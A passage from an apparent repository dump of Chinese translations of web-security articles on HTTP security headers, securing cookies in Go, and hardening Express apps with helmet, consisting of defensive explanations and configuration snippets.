的点击目标直接放置在看起来无辜的按钮之上。点击了这个无害按钮的用户会直接点击在嵌入的 web 应用上，并不知道点击后的后果。\n\n阻止这种攻击的一种有效的方法是限制你的 web 应用被框架化。在 [RFC 7034](https://www.ietf.org/rfc/rfc7034.txt) 中引入的 `X-Frame-Options`，就是设计用来做这件事的。此响应头指示浏览器对你的 web 应用是否可以被嵌入另一个网页进行限制，从而阻止恶意网页欺骗用户调用你的应用程序进行各项操作。你可以使用 `DENY` 完全屏蔽，或者使用 `ALLOW-FROM` 指令将特定域列入白名单，也可以使用 `SAMEORIGIN` 指令将应用的源地址列入白名单。\n\n我的建议是使用 `SAMEORIGIN` 指令，因为它允许 iframe 被同域的应用程序所使用，这有时是有用的。以下是响应头的示例：\n\n```\nX-Frame-Options: SAMEORIGIN\n```\n\n以下是在 Node.js 中设置此响应头的示例代码：\n\n```javascript\nfunction requestHandler(req, res){\n\tres.setHeader('X-Frame-Options','SAMEORIGIN');}\n```\n\n### 指定白名单资源 ###\n\n如前所述，你可以通过启用浏览器的 XSS 过滤器，给你的 web 应用程序增强安全性。然而请注意，这种机制是有局限性的，不是所有浏览器都支持（例如 Firefox 就不支持 XSS 过滤），并且依赖的模式匹配技术可以被欺骗。\n\n对抗 XSS 和其他攻击的另一层的保护，可以通过明确列出可信来源和操作来实现 —— 这就是内容安全策略（CSP）。\n\nCSP 是一种 W3C 规范，它定义了强大的基于浏览器的安全机制，可以对 web 应用中的资源加载以及脚本执行进行精细的控制。使用 CSP 可以将特定的域加入白名单进行脚本加载、AJAX 调用、图像加载和样式加载等操作。你可以启用或禁用内联脚本或动态脚本（臭名昭著的 `eval`），并通过将特定域列入白名单来控制框架化。CSP 的另一个很酷的功能是它允许配置实时报告目标，以便实时监控应用程序进行 CSP 阻止操作。\n\n这种对资源加载和脚本执行的明确的白名单提供了很强的安全性，在很多情况下都可以防范攻击。例如，使用 CSP 禁止内联脚本，你可以防范很多反射型 XSS 攻击，因为它们依赖于将内联脚本注入到 DOM。\n\nCSP 是一个相对复杂的响应头，它有很多种指令，在这里我不详细展开了，可以参考 HTML5 Rocks 里一篇很棒的[教程](https://www.html5rocks.com/en/tutorials/security/content-security-policy/)，其中提供了 CSP 的概述，我非常推荐阅读它来学习如何在你的 web 应用中使用 CSP。\n\n以下是一个设置 CSP 的示例代码，它仅允许从应用程序的源域加载脚本，并阻止动态脚本的执行（eval）以及内嵌脚本（当然，还是 Node.js):\n\n```javascript\nfunction requestHandler(req, res){\n\tres.setHeader('Content-Security-Policy',\"script-src 'self'\");}\n```\n\n### 防止 Content-Type 嗅探 ###\n\n为了使用户体验尽可能无缝，许多浏览器实现了一个功能叫内容类型嗅探，或者 MIME 嗅探。这个功能使得浏览器可以通过「嗅探」实际 HTTP 响应的资源的内容直接检测到资源的类型，无视响应头中 `Content-Type` 指定的资源类型。虽然这个功能在某些情况下确实是有用的，它引入了一个漏洞以及一种叫 MIME 类型混淆攻击的攻击手法。MIME 嗅探漏洞使攻击者可以注入恶意资源，例如恶意脚本，伪装成一个无害的资源，例如一张图片。通过 MIME 嗅探，浏览器将忽略声明的图像内容类型，它不会渲染图片，而是执行恶意脚本。\n\n幸运的是，`X-Content-Type-Options` 响应头缓解了这个漏洞。此响应头在 2008 年引入 IE8，目前大多数主流浏览器都支持（Safari 是唯一不支持的主流浏览器），它指示浏览器在处理获取的资源时不使用嗅探。因为 `X-Content-Type-Options` 仅在 [「Fetch」规范](https://fetch.spec.whatwg.org/#x-content-type-options-header)中正式指定，实际的实现因浏览器而异。一部分浏览器（IE 和 Edge）完全阻止了 MIME 嗅探，而其他一些（Firefox）仍然会进行 MIME 嗅探，但会屏蔽掉可执行的资源（JavaScript 和 CSS）如果声明的内容类型与实际的类型不一致。后者符合最新的 Fetch 规范。\n\n`X-Content-Type-Options` 是一个很简单的响应头，它只有一个指令，`nosniff`。它是这样指定的：`X-Content-Type-Options: nosniff`。以下是示例代码：\n\n```javascript\nfunction requestHandler(req, res){\n\tres.setHeader('X-Content-Type-Options','nosniff');}\n```\n\n### 总结 ###\n\n本文中，我们了解了如何利用 HTTP 响应头来加强 web 应用的安全性，防止攻击和减轻漏洞。\n\n#### 要点 ####\n\n- 使用 `Cache-Control` 禁用对机密信息的缓存\n- 通过 `Strict-Transport-Security` 强制使用 HTTPS，并将你的域添加到 Chrome 预加载列表\n- 利用 `X-XSS-Protection` 使你的 web 应用更加能抵抗 XSS 攻击\n- 使用 `X-Frame-Options` 阻止点击劫持\n- 利用 `Content-Security-Policy` 将特定来源与端点列入白名单\n- 使用 `X-Content-Type-Options` 防止 MIME 嗅探攻击\n\n请记住，为了使 web 真正迷人，它必须是安全的。利用 HTTP 响应头构建更加安全的网页吧！\n\n\n\n（**声明：** 此文内容仅属本人，不代表本人过去或现在的雇主。）\n\n（*首页图片版权：[Pexels.com](https://www.pexels.com/photo/coffee-writing-computer-blogging-34600/)*）\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/securing-cookies-in-go.md",
    "content": "  > * 原文地址：[Securing Cookies in Go](https://www.calhoun.io/securing-cookies-in-go/)\n  > * 原文作者：[Jon Calhoun](https://www.calhoun.io/hire-me/)\n  > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n  > * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/securing-cookies-in-go.md](https://github.com/xitu/gold-miner/blob/master/TODO/securing-cookies-in-go.md)\n  > * 译者：[lsvih](https://github.com/lsvih)\n  > * 校对者：[tmpbook](https://github.com/tmpbook), [Yuuoniy](https://github.com/Yuuoniy)\n\n# 在 Go 语言中增强 Cookie 的安全性\n  \n在我开始学习 Go 语言时已经有一些 Web 开发经验了，但是并没有直接操作 Cookie 的经验。我之前做过 Rails 开发，当我不得不需要在 Rails 中读写 Cookie 时，并不需要自己去实现各种安全措施。\n\n瞧瞧，Rails 默认就自己完成了大多数的事情。你不需要设置任何 CSRF 策略，也无需特别去加密你的 Cookie。在新版的 Rails 中，这些事情都是它默认帮你完成的。\n\n而使用 Go 语言开发则完全不同。在 Golang 的默认设置中，这些事都不会帮你完成。因此，当你想要开始使用 Cookie 时，了解各种安全措施、为什么要使用这些措施、以及如何将这些安全措施集成到你的应用中是非常重要的事。希望本文能帮助你做到这一点。\n\n**注意：我并不想引起关于 Go 与 Reils 两者哪种更好的论战。两者各有优点，但在本文中我希望能着重讨论 Cookie 的防护，而不是去争论 Rails 和 Go 哪个好。**\n\n## 什么是 Cookie？\n\n在进入 Cookie 防护相关的内容前，我们必须要理解 Cookie 究竟是什么。从本质上说，Cookie 就是存储在终端用户计算机中的键值对。因此，使用 Go 创建一个 Cookie 需要做的事就是创建一个包含键名、键值的 [http.Cookie](https://golang.org/pkg/net/http/#Cookie) 类型字段，然后调用 [http.SetCookie](https://golang.org/pkg/net/http/#SetCookie) 函数通知终端用户的浏览器设置该 Cookie。\n\n写成代码之后，它看起来类似于这样：\n\n```\nfunc someHandler(w http.ResponseWriter, r *http.Request) {\n  c := http.Cookie{\n    Name: \"theme\",\n    Value: \"dark\",\n  }\n  http.SetCookie(w, &c)\n}\n```\n\n> `http.SetCookie` 函数并不会返回错误，但它可能会静默地移除无效的 Cookie，因此使用它并不是什么美好的经历。但它既然这么设计了，就请你在使用这个函数的时候一定要牢记它的特性。\n\n虽然这好像是在代码中“设定”了一个 Cookie，但其实我们只是在我们返回 Response 时发送了一个 `\"Set-Cookie\"` 的 Header，从而定义需要设置的 Cookie。我们不会在服务器上存储 Cookie，而是依靠终端用户的计算机创建与存储 Cookie。\n\n我要强调上面这一点，因为它存在非常严重的安全隐患：我们**不能**控制这些数据，而终端用户的计算机（以及用户）才能控制这些数据。\n\n当读取与写入终端用户控制的数据时，我们都需要十分谨慎地对数据进行处理。恶意用户可以删除 Cookie、修改存储在 Cookie 中的数据，甚至我们可能会遇到[中间人攻击](https://en.wikipedia.org/wiki/Man-in-the-middle_attack)，即当用户向服务器发送数据时，另有人试图窃取 Cookie。\n\n## Cookie 的潜在安全问题\n\n根据我的经验，Cookie 相关的安全性问题大致分为以下五大类。下面我们先简单地看一看，本文的剩余部分将详细讨论每个分类的细节问题与解决对策。\n\n**1. Cookie 窃取** - 攻击者会通过各种方式来试图窃取 Cookie。我们将讨论如何防范、规避这些方式，但是归根结底我们并不能完全阻止设备上的物理类接触。\n\n**2. Cookie 篡改** - Cookie 中存储的数据可以被用户有意或无意地修改。我们将讨论如何验证存储在 Cookie 中的数据确实是我们写入的合法数据\n\n**3. 数据泄露** - Cookie 存储在终端用户的计算机上，因此我们需要清楚地意识到什么数据是能存储在 Cookie 中的，什么数据是不能存储在 Cookie 中的，以防其发生数据泄露。\n\n**4. 跨站脚本攻击（XSS）** - 虽然这条与 Cookie 没有直接关系，但是 XSS 攻击在攻击者能获取 Cookie 时危害更大。我们应该考虑在非必须的时候限制脚本访问 Cookie。\n\n**5. 跨站请求伪造（CSRF）** - 这种攻击常常是由于使用 Cookie 存储用户登录会话造成的。因此我们将讨论在这种情景下如何防范这种攻击。\n\n如我前面所说，在下文中我们将分别解决这些问题，让你最终能够专业地将你的 Cookie 装进保险柜。\n\n## Cookie 窃取\n\nCookie 窃取攻击就和它字面意思一样 —— 某人窃取了正常用户的 Cookie，然后一般用来将自己伪装成那个正常用户。\n\nCookie 通常是被以下方式中的某种窃取：\n\n1. [中间人攻击](https://en.wikipedia.org/wiki/Man-in-the-middle_attack)，或者是类似的其它攻击方式，归纳一下就是攻击者拦截你的 Web 请求，从中窃取 Cookie。\n2. 取得硬件的访问权限。\n\n阻止中间人攻击的终极方式就是当你的网站使用 Cookie 时，使用 SSL。使用 SSL 时，由于中间人无法对数据进行解密，因此外人基本上没可能在请求的中途获取 Cookie。\n\n可能你会觉得“哈哈，中间人攻击不太可能…”，我建议你看看 [firesheep](http://codebutler.com/firesheep)，这个简单的工具，它足以说明在使用公共 wifi 时窃取未加密的 Cookie 是一件很轻松的事情。\n\n如果你想确保这种事情不发生在你的用户中，**请使用 SSL！**试试使用 [Caddy Server](https://caddyserver.com/) 进行加密吧。它经过简单的配置就能投入生产环境中。例如，你可以使用下面四行代码轻松让你的 Go 应用使用代理：\n\n```\ncalhoun.io {\n  gzip\n  proxy / localhost:3000\n}\n```\n\n然后 Caddy 会为你自动处理所有与 SSL 有关的事务。\n\n防范通过访问硬件来窃取 Cookie 是十分棘手的事情。我们不能强制我们的用户使用高安全性系统，也不能逼他们为电脑设置密码，所以总会有他人坐在电脑前偷走 Cookie 的风险。此外，Cookie 也可能被病毒窃取，比如用户打开了某些钓鱼邮件时就会出现这种情况。\n\n不过这些都容易被发现。例如，如果有人偷了你的手表，当你发现表不在手上时你立马就会注意到它被偷了。然而 Cookie 还可以被复制，这样任何人都不会意识到它已经丢了。\n\n虽然不是万无一失，但你还是可以用一些技术来猜测 Cookie 是否被盗了。例如，你可以追踪用户的登录设备，要求他们重新输入密码。你还可以跟踪用户的 IP 地址，当其在可疑地点登录时通知用户。\n\n所有的这些解决方案都需要后端做更多的工作来追踪数据，如果你的应用需要处理一些敏感信息、金钱，或者它的收益可观的话，请在安全方面投入更多精力。\n\n也就是说，对于大多数只是作为过渡版本的应用来说，使用 SSL 就足够了。\n\n## Cookie 篡改（也叫用户伪造数据）\n\n请直面这种情况 —— 可能有一些混蛋突然就想看看你设的 Cookie，然后修改它的值。也可能他是出于好奇才这么做的，但是还是请你为这种可能发生的情况做好准备。\n\n在一些情景中，我们对此并不在意。例如，我们给用户定义一种主题设置时，并不会关心用户是否改变了这个设置。当这个 Cookie 过期时，就会恢复默认的主题设置，并且如果用户设置其为另一个有效的主题时我们可以让他正常使用那个主题，这并不会对系统造成任何损失。\n\n但是在另一些情况下，我们需要格外小心。编辑会话 Cookie 冒充另一个用户产生的危害比改个主题大得多。我们绝不想看到张三假装自己是李四。\n\n我们将介绍两种策略来检测与防止 Cookie 被篡改。\n\n#### 1. 对数据进行数字签名\n\n对数据进行数字签名，即对数据增加一个“签名”，这样能让你校验数据的可靠性。这种方法并不需要对终端用户的数据进行加密或隐藏，只要对 Cookie 增加必要的签名数据，我们就能检测到用户是否修改数据。\n\n这种保护 Cookie 的方法原理是哈希编码 —— 我们对数据进行哈希编码，接着将数据与它的哈希编码同时存入 Cookie 中。当用户发送 Cookie 给我们时，再对数据进行哈希计算，验证此时的哈希值与原始哈希值是否匹配。\n\n我们当然不会想看到用户也创建一个新的哈希来欺骗我们，因此你可以使用一些类似 HMAC 的哈希算法来使用秘钥对数据进行哈希编码。这样就能防范用户同时编辑数据与数字签名（即哈希值）。\n\n> [JSON Web Tokens(JWT)](https://jwt.io/) 默认内置了数字签名功能，因此你可能对这种方法比较熟悉。\n\n在 Go 中，可以使用类似 Gorilla 的 [securecookie](http://www.gorillatoolkit.org/pkg/securecookie) 之类的 package，你可以在创建 `SecureCookie` 时使用它来保护你的 Cookie。\n\n```\n// 推荐使用 32 字节或 64 字节的 hashKey\n// 此处为了简洁故设为了 “very-secret”\nvar hashKey = []byte(\"very-secret\")\nvar s = securecookie.New(hashKey, nil)\n\nfunc SetCookieHandler(w http.ResponseWriter, r *http.Request) {\n  encoded, err := s.Encode(\"cookie-name\", \"cookie-value\")\n  if err == nil {\n    cookie := &http.Cookie{\n      Name:  \"cookie-name\",\n      Value: encoded,\n      Path:  \"/\",\n    }\n    http.SetCookie(w, cookie)\n    fmt.Fprintln(w, encoded)\n  }\n}\n```\n\n然后你可以在另一个处理 Cookie 的函数中同样使用 SecureCookie 对象来读取 Cookie。\n\n```\nfunc ReadCookieHandler(w http.ResponseWriter, r *http.Request) {\n  if cookie, err := r.Cookie(\"cookie-name\"); err == nil {\n    var value string\n    if err = s.Decode(\"cookie-name\", cookie.Value, &value); err == nil {\n      fmt.Fprintln(w, value)\n    }\n  }\n}\n```\n\n**以上样例来源于 [http://www.gorillatoolkit.org/pkg/securecookie](http://www.gorillatoolkit.org/pkg/securecookie).**\n\n> 注意：这儿的数据并不是进行了加密，而只是进行了编码。我们会在“数据泄露”一章讨论如何对数据进行加密。\n\n这种模式还需要注意的是，如果你使用这种方式进行身份验证，请遵循 JWT 的模式，将登录过期日期和用户数据同时进行签名。你不能只凭 Cookie 的过期日期来判断登录是否有效，因为存储在 Cookie 上的日期并未经过签名，且用户可以创建一个永不过期的新 Cookie，将原 Cookie 的内容复制进去就得到了一个永远处于登录状态的 Cookie。\n\n#### 2. 进行数据混淆\n\n还有一种解决方案可以隐藏数据并防止用户造假。例如，不要这样存储 Cookie：\n\n```\n// 别这么做\nhttp.Cookie{\n  Name: \"user_id\",\n  Value: \"123\",\n}\n```\n\n我们可以存储一个值来映射存在数据库中的真实数据。通常使用 Session ID 或者 remember token 来作为这个值。例如我们有一个名为 `remember_tokens` 的表，这样存储数据：\n\n```\nremember_token: LAKJFD098afj0jasdf08jad08AJFs9aj2ASfd1\nuser_id: 123\n```\n\n在 Cookie 中，我们仅存储这个 remember token。如果用户想伪造 Cookie 也会无从下手。它看上去就是一堆乱码。\n\n之后当用户要登陆我们的应用时，再根据 remember token 在数据库中查询，确定用户具体的登录状态。\n\n为了让此措施正常工作，你需要确保你的混淆值有以下特性：\n\n- 能映射到用户数据（或其它资源）\n- 随机\n- 熵值高\n- 可被无效化（例如在数据库中删除、修改 token 值）\n\n这种方法也有一个缺点，就是在用户访问每个需要校验权限的页面时都得进行数据库查询。不过这个缺点很少有人注意，而且可以通过缓存等技术来减小数据库查询的开销。这种方法的升级版就是 JWT，应用这种方法你可以随时使会话无效化。\n\n**注意：尽管目前 JWT 收到了大多数 JS 框架的追捧，但上文这种方法是我了解的最常用的身份验证策略。**\n\n## 数据泄露\n\n在真正出现数据泄露前，通常需要另一种攻击向量 —— 例如 Cookie 窃取。然而还是很难去正确地判断并提防数据泄露的发生。因为仅仅是 Cookie 发生了泄露并不意味着攻击者也得到了用户的账户密码。\n\n无论何时，都应当减少存储在 Cookie 中的敏感数据。绝不要将用户密码之类的东西存在 Cookie 中，即使密码已经经过了编码也不要这么做。[这篇文章](https://hackernoon.com/your-node-js-authentication-tutorial-is-wrong-f1a3bf831a46#2491) 给出了几个开发者无意间将敏感数据存储在 Cookie 或 JWT 中的实例，由于（JWT 的 payload）是 base64 编码，没有经过任何加密，因此任何人都可以对其进行解码。\n\n出现数据泄露可是犯了大错。如果你担心你不小心存储了一些敏感数据，我建议你使用如 Gorilla 的 [securecookie](http://www.gorillatoolkit.org/pkg/securecookie) 之类的 package。\n\n前面我们讨论了如何对你的 Cookie 进行数字签名，其实 `securecookie` 也可以用于加密与解密你的 Cookie 数据，让你的数据不能被轻易地解码并读取。\n\n使用这个 package 进行加密，你只需要在创建 `SecureCookie` 实例时传入一个“块秘钥”（blockKey）即可。\n\n```\nvar hashKey = []byte(\"very-secret\")\n// 增加这一部分进行加密\nvar blockKey = []byte(\"a-lot-secret\")\nvar s = securecookie.New(hashKey, blockKey)\n```\n\n其它所有东西都和前面章节的数字签名中的样例一致。\n\n再次提醒，你**不应该**在 Cookie 中存储任何敏感数据，尤其不能存储密码之类的东西。加密仅仅是一项为数据增加一部分安全性，使其成为”半敏感数据“数据的技术而已。\n\n## 跨站脚本攻击（XSS）\n\n[跨站脚本（Cross-site scripting）](https://en.wikipedia.org/wiki/Cross-site_scripting)也经常被记为 XSS，及有人试图将一些不是你写的 JavaScript 代码注入你的网站中。但由于其攻击的机理，你无法知道正在浏览器中运行的 JavaScript 代码到底是不是你的服务器提供的代码。\n\n无论何时，你都应该尽量去阻止 XSS 攻击。在本文中我们不会深入探讨这种攻击的具体细节，但是**以防万一**我建议你在非必要的情况下禁止 JavaScript 访问 Cookie 的权限。在你需要这个权限的时候你可以随时开启它，所以不要让它成为你的网站安全性脆弱的理由。\n\n在 Go 中完成这点很简单，只需要在创建 Cookie 时设置 `HttpOnly` 字段为 true 即可。\n\n```\ncookie := http.Cookie{\n  // true 表示脚本无权限，只允许 http request 使用 Cookie。\n  // 这与 Http 与 Https 无关。\n  HttpOnly: true,\n}\n```\n\n## CSRF（跨站请求伪造）\n\nCSRF 发生的情况为某个用户访问别人的站点，但那个站点有一个能提交到你的 web 应用的表单。由于终端用户提交表单时的操作不经由脚本，因此浏览器会将此请求设为用户进行的操作，将 Cookie 附上表单数据同时发送。\n\n乍一看似乎这没什么问题，但是如果外部网站发送一些用户不希望发送的数据时会发生什么呢？例如，badsite.com 中有个表单，会提交请求将你的 100 美元转到他们的账户中，而 chase.com 希望你在它这儿登录你的银行账户。这可能会导致在终端用户不知情的情况下钱被转走。\n\nCookie 不会直接导致这样的问题，不过如果你使用 Cookie 作为身份验证的依据，那你需要使用 Gorilla 的 [csrf](http://www.gorillatoolkit.org/pkg/csrf) 之类的 package 来避免 CSRF 攻击。\n\n这个 package 将会提供一个 CSRF token，插入你网站的每个表单中，当表单中不含 token 时，`csrf` package 中间件将会阻止表单的提交，使得别的网站不能欺骗用户在他们那儿向你的网站提交表单。\n\n**更多关于 CSRF 攻击的资料请参阅：**\n\n- [https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)](https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF))\n- [https://en.wikipedia.org/wiki/Cross-site_request_forgery](https://en.wikipedia.org/wiki/Cross-site_request_forgery)\n\n## 在非必要时限制 Cookie 的访问权限\n\n我们要讨论的最后一件事与特定的攻击无关，更像是一种指导原则。我建议在使用 Cookie 时尽量限制其权限，仅在你需要时开发相关权限。\n\n前面讨论 XSS 时我也简单的提到过这点，但一般的观点是你需要尽可能限制对 Cookie 的访问。例如，如果你的 Web 应用没有使用子域名，那你就不应该赋予 Cookie 所有子域的权限。不过这是 Cookie 的默认值，因此其实你什么都不用做就能将 Cookie 的权限限制在某个特定域中。\n\n但是，如果你需要与子域共享 Cookie，你可以这么做：\n\n```\nc := Cookie{\n  // 根据主机模式的默认设置，Cookie 进行的是精确域名匹配。\n  // 因此请仅在需要的时候开启子域名权限！\n  // 下面的代码可以让 Cookie 在 yoursite.com 的任何子域下工作：\n  Domain: \"yoursite.com\",\n}\n```\n\n**欲了解更多有关域的信息，请参阅 [https://tools.ietf.org/html/rfc6265#section-5.1.3](https://tools.ietf.org/html/rfc6265#section-5.1.3)。你也可以在这儿阅读源码，参阅其默认设置：[https://golang.org/src/net/http/cookie.go#L157](https://golang.org/src/net/http/cookie.go#L157).**\n\n**你可以参阅 [这个 stackoverflow 的问题](https://stackoverflow.com/questions/18492576/share-cookie-between-subdomain-and-domain) 了解更多信息，弄明白为什么在为子域使用 Cookie 时不需要提供子域前缀.此外 Go 源码链接中也可以看到如果你提供前缀名的话会被自动去除。**\n\n除了将 Cookie 的权限限制在特定域上之外，你还可以将 Cookie 限制于某个特定的目录路径中。\n\n```\nc := Cookie{\n  // Defaults 设置为可访问应用的任何路径，但你也可以\n  // 进行如下设置将其限制在特定子目录下：\n  Path: \"/app/\",\n}\n```\n\n还有你也可以对其设置路径前缀，例如 `/blah/`，你可以参阅下面这篇文章了解更多这个字段的使用方法：[https://tools.ietf.org/html/rfc6265#section-5.1.4](https://tools.ietf.org/html/rfc6265#section-5.1.4).\n\n## 为什么我不使用 JWT？\n\n就知道肯定会有人提出这个问题，下面让我简单解释一下。\n\n可能有很多人和你说过，Cookie 的安全性与 JWT 一样。但实际上，Cookie 与 JWT 解决的并不是相同的问题。比如 JWT 可以存储在 Cookie 中，这和将其放在 Header 中的实际效果是一样的。\n\n另外，Cookie 可用于无需验证的数据，在这种情况下了解如何增加 Cookie 的安全性也是必要的。\n\n\n  ---\n\n  > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/securing-your-express-app.md",
    "content": "> * 原文地址：[Putting the helmet on – Securing your Express app](https://www.twilio.com/blog/2017/11/securing-your-express-app.html)\n> * 原文作者：[Dominik Kundel](https://www.twilio.com/blog/author/dominik)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/securing-your-express-app.md](https://github.com/xitu/gold-miner/blob/master/TODO/securing-your-express-app.md)\n> * 译者：[lsvih](https://github.com/lsvih)\n> * 校对者：[swants](http://www.swants.cn)\n\n# 为你的网站带上帽子 — 使用 helmet 保护 Express 应用\n\n![](https://www.twilio.com/blog/wp-content/uploads/2017/11/4Txtn2Pl8SQnB241Dz1jvqSmUCLJksk6M97TAJYyNHPsIZE8Q9PA1NKBYZtua-v2C5UqpyBKBCFr2SaljImM2DGDGkK-XfJs1mfMkbJ7_Sc_hGP4Q70cnqgJHpVjd7NYIgjU4AJj.png)\n\n[Express](https://expressjs.com/) 基于 [Node.js](https://nodejs.org/)，是一款用于构建 Web 服务的优秀框架。它很容易上手，且得益于其中间件的概念，可以很方便地进行配置与拓展。尽管现在有[各种各样的用于创建 Web 应用的框架](https://www.twilio.com/blog/2016/07/how-to-receive-a-post-request-in-node-js.html)，但我的第一选择始终是 Express。然而，直接使用 Express 不能完全遵循安全性的最佳实践。因此我们需要使用类似 [`helmet`](https://helmetjs.github.io/) 的模块来改善应用的安全性。\n\n### 部署\n\n在开始之前，请确认你已经安装好了 Node.js 以及 npm（或 yarn）。你可以[在 Node.js 官网下载以及查看安装指南](https://nodejs.org/en/download/)。\n\n我们将以一个新的工程为例，不过你也可以将这些功能应用于现有的工程中。\n\n在命令行中运行以下命令创建一个新的工程：\n\n```\nmkdir secure-express-demo\ncd secure-express-demo\nnpm init -y\n```\n\n运行以下命令安装 Express 模块：\n\n```\nnpm install express --save\n```\n\n在 `secure-express-demo` 目录下创建一个名为 `index.js` 的文件，加入以下代码：\n\n```\nconst express = require('express');\nconst PORT = process.env.PORT || 3000;\nconst app = express();\n\napp.get('/', (req, res) => {\n  res.send(`<h1>Hello World</h1>`);\n});\n\napp.listen(PORT, () => {\n  console.log(`Listening on http://localhost:${PORT}`);\n});\n```\n\n保存文件，试运行看看它是否能正常工作。运行以下命令启动服务：\n\n```\nnode index.js\n```\n\n访问 [http://localhost:3000](http://localhost:3000)，你应该可以看到 `Hello World`。\n\n![hello-world.png](https://www.twilio.com/blog/wp-content/uploads/2017/11/iWq7mudUzwNSEw_IBcqBqZ9ah771qXS-SOzOng3EGIkBPVG6LoDhADeDKyCCFiF53KKrU0ZIDhEeSDz4HdjRzK3JsvigkR5wq4vYMLQS9ffmGhZ_omI9oBvTocxI_7QPLeUcsPNT.png)\n\n### 检查 Headers\n\n![giphy.gif](https://www.twilio.com/blog/wp-content/uploads/2017/11/M4qx6F5BhzDuSPYBHPEx74-xorzQFM8qD-Zi7FPS4In-cPvifztKGkHsRKE7wInEw9w6717-_GAC3HczMoXtFo-otYsS3DGTwQsj1IwdBw1gnssD2fW-sMdPuTz2QxBCcseUyIgP.png)\n\n现在让我们通过增加与删除一些 HTTP headers 来改善应用安全性。你可以用一些工具来检查它的 headers，例如使用 `curl` 运行以下命令：\n\n```\ncurl http://localhost:3000 --include\n```\n\n`--include` 标志可以让其输出 response 的 HTTP headers。如果你没有安装 `curl`，也可以用你最常用浏览器开发者工具的 network 面板代替。\n\n你可以看到在收到的 response 中包含的以下 HTTP headers：\n\n```\nHTTP/1.1 200 OK\nX-Powered-By: Express\nContent-Type: text/html; charset=utf-8\nContent-Length: 20\nETag: W/\"14-SsoazAISF4H46953FT6rSL7/tvU\"\nDate: Wed, 01 Nov 2017 13:36:10 GMT\nConnection: keep-alive\n```\n\n一般来说，由 `X-` 开头的 header 是非标准头部。请注意那个 `X-Powered-By` 的 header，它会暴露你使用的框架。对于攻击者来说，这可以降低攻击成本，因为他们只专注攻击此框架的已知漏洞即可。\n\n### 戴上头盔（helmet）\n\n![giphy.gif](https://www.twilio.com/blog/wp-content/uploads/2017/11/24T5xMrL0RCEEObLniOCuiZ4f4p-w6QUJWDJb4UlbayqlUnzn51IvLbbWH04jjVi1GxRzUX12_lseIPgJo0ZeW3TbO6ArTOS_B32kjbeUWfxb6qKp0_HNHbwolL40zF_1gCr3dbC.png)\n\n来看看如果我们使用 `helmet` 会发生什么。运行以下命令安装 `helmet`：\n\n```\nnpm install helmet --save\n```\n\n将 `helmet` 中间件加入你的应用中。对 `index.js` 进行如下修改：\n\n```\nconst express = require('express');\nconst helmet = require('helmet');\nconst PORT = process.env.PORT || 3000;\nconst app = express();\n\napp.use(helmet());\n\napp.get('/', (req, res) => {\n  res.send(`<h1>Hello World</h1>`);\n});\n\napp.listen(PORT, () => {\n  console.log(`Listening on http://localhost:${PORT}`);\n});\n```\n\n这样就使用了 `helmet` 的默认配置。接下来看看它做了什么事情。重启服务，再次通过以下命令检查 HTTP headers：\n\n```\ncurl http://localhost:3000 --inspect\n```\n\n新的 headers 会类似于下面这样：\n\n```\nHTTP/1.1 200 OK\nX-DNS-Prefetch-Control: off\nX-Frame-Options: SAMEORIGIN\nStrict-Transport-Security: max-age=15552000; includeSubDomains\nX-Download-Options: noopen\nX-Content-Type-Options: nosniff\nX-XSS-Protection: 1; mode=block\nContent-Type: text/html; charset=utf-8\nContent-Length: 20\nETag: W/\"14-SsoazAISF4H46953FT6rSL7/tvU\"\nDate: Wed, 01 Nov 2017 13:50:42 GMT\nConnection: keep-alive\n```\n\n首先值得庆祝的是 `X-Powered-By` header 不见了。但现在又多了好些新的 header，它们是做什么的呢？\n\n#### X-DNS-Prefetch-Control\n\n这个 header 对增加安全性并没有太大作用。它的值为 `off` 时，将关闭浏览器对页面中 URL 的 DNS 预读取。DNS 预读取可以提高你的网站的性能，根据 MDN 描述，它可以[增加 5% 或更高的图片加载速度](https://developer.mozilla.org/zh-CN/docs/Controlling_DNS_prefetching)。不过开启这项功能也可能会使用户在多次访问同一个网页时缓存出现问题。\n> 译注：缓存问题未查到资料，如果您了解这块请留言\n\n它的默认值是 `off`，如果你希望通过它提升性能，可以在调用 `helmet()` 时传入 `{ dnsPrefetchControl: { allow: true }}` 开启 DNS 预读取。\n\n#### X-Frame-Options\n\n`X-Frame-Options` 可以让你控制页面是否能在 `<frame/>`、`<iframe/>` 或者 `<object/>` 之类的页框内加载。除非你的确需要通过这些方式来打开页面，否则请通过下面的配置完全禁用它：\n\n```\napp.use(helmet({\n  frameguard: {\n    action: 'deny'\n  }\n}));\n```\n\n[所有的现代浏览器都支持 `X-Frame-Options`](http://caniuse.com/#feat=x-frame-options)。你也可以通过稍后将介绍的内容安全策略来控制它。\n\n#### Strict-Transport-Security\n\n它也被称为 HSTS（严格安全 HTTP 传输），用于确保在访问 HTTPS 网站时不出现协议降级（回到 HTTP）的情况。如果用户一旦访问了带有此 header 的 